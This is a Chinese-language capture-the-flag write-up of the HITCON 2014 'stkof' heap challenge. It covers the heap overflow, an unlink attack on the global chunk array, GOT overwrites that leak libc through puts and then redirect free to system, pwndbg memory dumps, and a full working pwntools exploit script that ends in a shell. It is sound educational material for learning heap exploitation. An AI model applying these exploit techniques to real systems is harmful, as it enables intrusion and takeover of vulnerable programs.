本文主要列出hitcon2014_stkof的详细过程
主要参考:unlink 系列
程序流程
allocate:分配一个指定size大小的块,返回idx。
其中块的指针信息保存在一个全局变量0x602140中
fill:根据idx找到对应的块,重新给定大小size,读入内容content
free:释放idx的块
漏洞分析
- 由于fill时候的size可以重新制定,可以造成堆溢出。
- 没有打印函数
- 有一个全局变量
方法:unlink
- unlink,控制全局变量内容
- 修改chunk1指针为free_got,修改got表内容为puts_plt
- 修改chunk2指针为puts_got,这样,free(2)即可打印puts地址
- 计算system和binsh
- 同2,修改got表内容为system,对未使用的chunk4填入‘binsh’
- free(4)即可get_shell
详细过程
0.tip(setbuf)
setbuf()/setvbuf()函数作用:关闭I/O缓冲区
一般为了让程序显示正常,会关闭I/O缓冲区
1 2 3
| setbuf(stdin ,0); setbuf(stdout,0); setbuf(stderr,0);
|
但是本题没有关闭缓冲区,函数运行开始阶段在fgets()函数以及printf()函数运行的时候,会malloc()两块内存区域。
1.保护
没开pie,Partial RELRO,可以修改got表内容。
1 2 3 4 5 6 7
| winter@ubuntu:~/buu$ checksec stkof [*] '/home/winter/buu/stkof' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
2.申请四个块
由于为关闭缓冲区,故程序中多出输入缓冲区和输出缓冲区。
第一个chunk,由于会加在输入输出缓冲区之间,后续无用。
第二个chunk,为了unlink前向合并
第三个chunk,大小非fastbin
第四个chunk,一个开始阶段不被改变的chunk,用于最后填入的‘/bin/sh’。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x20f7000 Size: 0x1011
Allocated chunk | PREV_INUSE Addr: 0x20f8010 Size: 0x31
Allocated chunk | PREV_INUSE Addr: 0x20f8040 Size: 0x411
Allocated chunk | PREV_INUSE Addr: 0x20f8450 Size: 0x41
Allocated chunk | PREV_INUSE Addr: 0x20f8490 Size: 0x91
Allocated chunk | PREV_INUSE Addr: 0x20f8520 Size: 0x31
Top chunk | PREV_INUSE Addr: 0x20f8550 Size: 0x20ab1
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pwndbg> x/50gx 0x20f8450 0x20f8450: 0x0000000000000000 0x0000000000000041 0x20f8460: 0x0000000000000000 0x0000000000000000 0x20f8470: 0x0000000000000000 0x0000000000000000 0x20f8480: 0x0000000000000000 0x0000000000000000 0x20f8490: 0x0000000000000000 0x0000000000000091 0x20f84a0: 0x0000000000000000 0x0000000000000000 0x20f84b0: 0x0000000000000000 0x0000000000000000 0x20f84c0: 0x0000000000000000 0x0000000000000000 0x20f84d0: 0x0000000000000000 0x0000000000000000 0x20f84e0: 0x0000000000000000 0x0000000000000000 0x20f84f0: 0x0000000000000000 0x0000000000000000 0x20f8500: 0x0000000000000000 0x0000000000000000 0x20f8510: 0x0000000000000000 0x0000000000000000 0x20f8520: 0x0000000000000000 0x0000000000000031 0x20f8530: 0x0000000000000000 0x0000000000000000 0x20f8540: 0x0000000000000000 0x0000000000000000 0x20f8550: 0x0000000000000000 0x0000000000020ab1 0x20f8560: 0x0000000000000000 0x0000000000000000 0x20f8570: 0x0000000000000000 0x0000000000000000
|
全局变量的情况,申请四个chunk的首地址记录在里面。
1 2 3 4 5
| pwndbg> x/30gx 0x602140 0x602140: 0x0000000000000000 0x00000000020f8020 0x602150: 0x00000000020f8460 0x00000000020f84a0 0x602160: 0x00000000020f8530 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000
|
3.伪造chunk,unlink前向合并
在chunk2中伪造了一个0x20大小的已被释放的chunk,并在chunk3的pre_size中也要填入0x30
通过unlink的固定格式,进行unlink操作,即可使target的地址为target-0x18,网target地址填入数据,即可实现全局变量的控制。
1 2 3
| target = 0x602140 + 0x10 fd = target - 0x18 bk = target - 0x10
|
伪造chunk
- size为0x30,被释放
- fd = target - 0x18
- bk = target - 0x10
修改下一个chunk的pre_size(合并找到伪造的chunk)
- pre_size = 0x30,当前chunk为0x90
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pwndbg> x/50gx 0x20f8450 0x20f8450: 0x0000000000000000 0x0000000000000041 0x20f8460: 0x0000000000000000 0x0000000000000030 0x20f8470: 0x0000000000602138 0x0000000000602140 0x20f8480: 0x6161616161616161 0x6161616161616161 0x20f8490: 0x0000000000000030 0x0000000000000090 0x20f84a0: 0x0000000000000000 0x0000000000000000 0x20f84b0: 0x0000000000000000 0x0000000000000000 0x20f84c0: 0x0000000000000000 0x0000000000000000 0x20f84d0: 0x0000000000000000 0x0000000000000000 0x20f84e0: 0x0000000000000000 0x0000000000000000 0x20f84f0: 0x0000000000000000 0x0000000000000000 0x20f8500: 0x0000000000000000 0x0000000000000000 0x20f8510: 0x0000000000000000 0x0000000000000000 0x20f8520: 0x0000000000000000 0x0000000000000031 0x20f8530: 0x0000000000000000 0x0000000000000000 0x20f8540: 0x0000000000000000 0x0000000000000000 0x20f8550: 0x0000000000000000 0x0000000000020ab1 0x20f8560: 0x0000000000000000 0x0000000000000000 0x20f8570: 0x0000000000000000 0x0000000000000000
|
free后造成合并,unlink,在chunk2中填入了target-0x18
1 2 3 4 5
| pwndbg> x/30gx 0x602140 0x602140: 0x0000000000000000 0x00000000020f8020 0x602150: 0x0000000000602138 0x0000000000000000 0x602160: 0x00000000020f8530 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000
|
heap里面看不出来,,,因为地址不对,,,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x20f7000 Size: 0x1011
Allocated chunk | PREV_INUSE Addr: 0x20f8010 Size: 0x31
Allocated chunk | PREV_INUSE Addr: 0x20f8040 Size: 0x411
Allocated chunk | PREV_INUSE Addr: 0x20f8450 Size: 0x41
Allocated chunk Addr: 0x20f8490 Size: 0x90
Allocated chunk Addr: 0x20f8520 Size: 0x30
Top chunk | PREV_INUSE Addr: 0x20f8550 Size: 0x20ab1
|
但是已经成功合并释放了,起始地址为伪造的chunk开头
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x20f8460 —▸ 0x7fbcdd959b78 (main_arena+88) ◂— 0x20f8460 smallbins empty largebins empty
|
伪造的chunk大小变为0xc0(0x30+0x90)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pwndbg> x/50gx 0x20f8450 0x20f8450: 0x0000000000000000 0x0000000000000041 0x20f8460: 0x0000000000000000 0x00000000000000c1 0x20f8470: 0x00007fbcdd959b78 0x00007fbcdd959b78 0x20f8480: 0x6161616161616161 0x6161616161616161 0x20f8490: 0x0000000000000030 0x0000000000000090 0x20f84a0: 0x0000000000000000 0x0000000000000000 0x20f84b0: 0x0000000000000000 0x0000000000000000 0x20f84c0: 0x0000000000000000 0x0000000000000000 0x20f84d0: 0x0000000000000000 0x0000000000000000 0x20f84e0: 0x0000000000000000 0x0000000000000000 0x20f84f0: 0x0000000000000000 0x0000000000000000 0x20f8500: 0x0000000000000000 0x0000000000000000 0x20f8510: 0x0000000000000000 0x0000000000000000 0x20f8520: 0x00000000000000c0 0x0000000000000030 0x20f8530: 0x0000000000000000 0x0000000000000000 0x20f8540: 0x0000000000000000 0x0000000000000000 0x20f8550: 0x0000000000000000 0x0000000000020ab1 0x20f8560: 0x0000000000000000 0x0000000000000000 0x20f8570: 0x0000000000000000 0x0000000000000000
|
4. 修改全局变量的值
通过unlink技术得到的部分地址读写能力,可以修改chunk1的指针为free_got,chunk2的指针为puts_got,接下来对chunk1和chunk2的内容进行的修改,本质都是修改两个got表
1 2 3 4 5 6
| pwndbg> x/30gx 0x602130 0x602130: 0x0000000000000000 0x6161616161616161 0x602140: 0x6161616161616161 0x0000000000602018 0x602150: 0x0000000000602020 0x0000000000000000 0x602160: 0x00000000020f8530 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000
|
1 2 3
| pwndbg> x/30gx 0x0000000000602018 0x602018 <free@got.plt>: 0x00007fbcdd619540 0x00007fbcdd6046a0 0x602028 <fread@got.plt>: 0x00007fbcdd6031b0 0x0000000000400786
|
5.获取打印功能,泄露地址
由于前面已经修改chunk1的指针为got表指针,所以,直接fill chunk1的内容为puts_plt,那么free()时就是执行puts函数,从而泄露地址。
由于chunk2的指针已经为puts_got,所以free(2)就是puts(puts函数的got表)
1 2 3 4 5 6
| pwndbg> x/30gx 0x0000000000602018 0x602018 <free@got.plt>: 0x0000000000400760 0x00007fbcdd6046a0 0x602028 <fread@got.plt>: 0x00007fbcdd6031b0 0x0000000000400786
pwndbg> x/30gx 0x0000000000400760 0x400760 <puts@plt>: 0x0168002018ba25ff 0xffffffd0e9000000
|
泄露成功,可以计算libc基址、system函数地址
1 2 3 4 5 6
| [DEBUG] Received 0x7 bytes: 00000000 a0 46 60 dd bc 7f 0a │·F`·│···│ 00000007 pwndbg> x/30gx puts 0x7fbcdd6046a0 <_IO_puts>:
|
6.free->system,块内容“/bin/sh”
同5,再次fill chunk1内容为system的地址,然后执行free函数就是执行system函数。
对未使用的chunk4填入“/bin/sh”内容,free(4)即可执行system(“/bin/sh”)
1 2 3 4 5 6
| pwndbg> x/30gx 0x0000000000602018 0x602018 <free@got.plt>: 0x00007fbcdd5da3a0 0x00007fbcdd6046a0 0x602028 <fread@got.plt>: 0x00007fbcdd6031b0 0x0000000000400786
pwndbg> x/30gx 0x00007fbcdd5da3a0 0x7fbcdd5da3a0 <__libc_system>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| pwndbg> x/30gx 0x20f8450 0x20f8450: 0x0000000000000000 0x0000000000000041 0x20f8460: 0x0000000000000000 0x00000000000000c1 0x20f8470: 0x00007fbcdd959b78 0x00007fbcdd959b78 0x20f8480: 0x6161616161616161 0x6161616161616161 0x20f8490: 0x0000000000000030 0x0000000000000090 0x20f84a0: 0x0000000000000000 0x0000000000000000 0x20f84b0: 0x0000000000000000 0x0000000000000000 0x20f84c0: 0x0000000000000000 0x0000000000000000 0x20f84d0: 0x0000000000000000 0x0000000000000000 0x20f84e0: 0x0000000000000000 0x0000000000000000 0x20f84f0: 0x0000000000000000 0x0000000000000000 0x20f8500: 0x0000000000000000 0x0000000000000000 0x20f8510: 0x0000000000000000 0x0000000000000000 0x20f8520: 0x00000000000000c0 0x0000000000000030 0x20f8530: 0x0000000000000000 0x0000000000000000#chunk4
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| pwndbg> x/30gx 0x20f8450 0x20f8450: 0x0000000000000000 0x0000000000000041 0x20f8460: 0x0000000000000000 0x00000000000000c1 0x20f8470: 0x00007fbcdd959b78 0x00007fbcdd959b78 0x20f8480: 0x6161616161616161 0x6161616161616161 0x20f8490: 0x0000000000000030 0x0000000000000090 0x20f84a0: 0x0000000000000000 0x0000000000000000 0x20f84b0: 0x0000000000000000 0x0000000000000000 0x20f84c0: 0x0000000000000000 0x0000000000000000 0x20f84d0: 0x0000000000000000 0x0000000000000000 0x20f84e0: 0x0000000000000000 0x0000000000000000 0x20f84f0: 0x0000000000000000 0x0000000000000000 0x20f8500: 0x0000000000000000 0x0000000000000000 0x20f8510: 0x0000000000000000 0x0000000000000000 0x20f8520: 0x00000000000000c0 0x0000000000000030 0x20f8530: 0x0068732f6e69622f 0x0000000000000000#chunk4填入“/bin/sh”
pwndbg> x/10s 0x20f8530 0x20f8530: "/bin/sh"
|
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import * p = process('./stkof') p=remote("node3.buuoj.cn",28999) context.log_level = 'debug'
elf = ELF("./stkof") libc = ELF("./libc-2.23.so")
free_got = elf.got['free'] puts_got = elf.got['puts'] puts_plt = elf.plt['puts']
def alloc(size): p.sendline(str(1)) p.sendline(str(size)) p.recvuntil("OK")
def fill(idx,content): p.sendline(str(2)) p.sendline(str(idx)) p.sendline(str(len(content))) p.sendline(content) p.recvuntil("OK")
def free(idx): p.sendline(str(3)) p.sendline(str(idx))
alloc(0x30) alloc(0x30) alloc(0x80) alloc(0x30)
target = 0x602140 + 0x10 fd = target - 0x18 bk = target - 0x10
payload = p64(0) + p64(0x30) payload += p64(fd) + p64(bk) payload += "a"*0x10
payload += p64(0x30) + p64(0x90) fill(2,payload) free(3)
payload = "a"*0x10 payload += p64(free_got) + p64(puts_got) fill(2,payload)
payload = p64(puts_plt) fill(1,payload) free(2)
puts_addr = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00') log.success(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts'] system = libc_base + libc.sym['system'] binsh = libc_base + libc.search("/bin/sh").next()
log.success(hex(libc_base)) log.success(hex(system)) log.success(hex(binsh))
payload = p64(system) fill(1,payload)
fill(4,'/bin/sh\x00') free(4)
p.interactive()
|
这道题其实是第二次做了,还比较顺。思路比第一次更清晰了(第一次分析)。
unlink主要适用于存在堆溢出和全局变量的情况。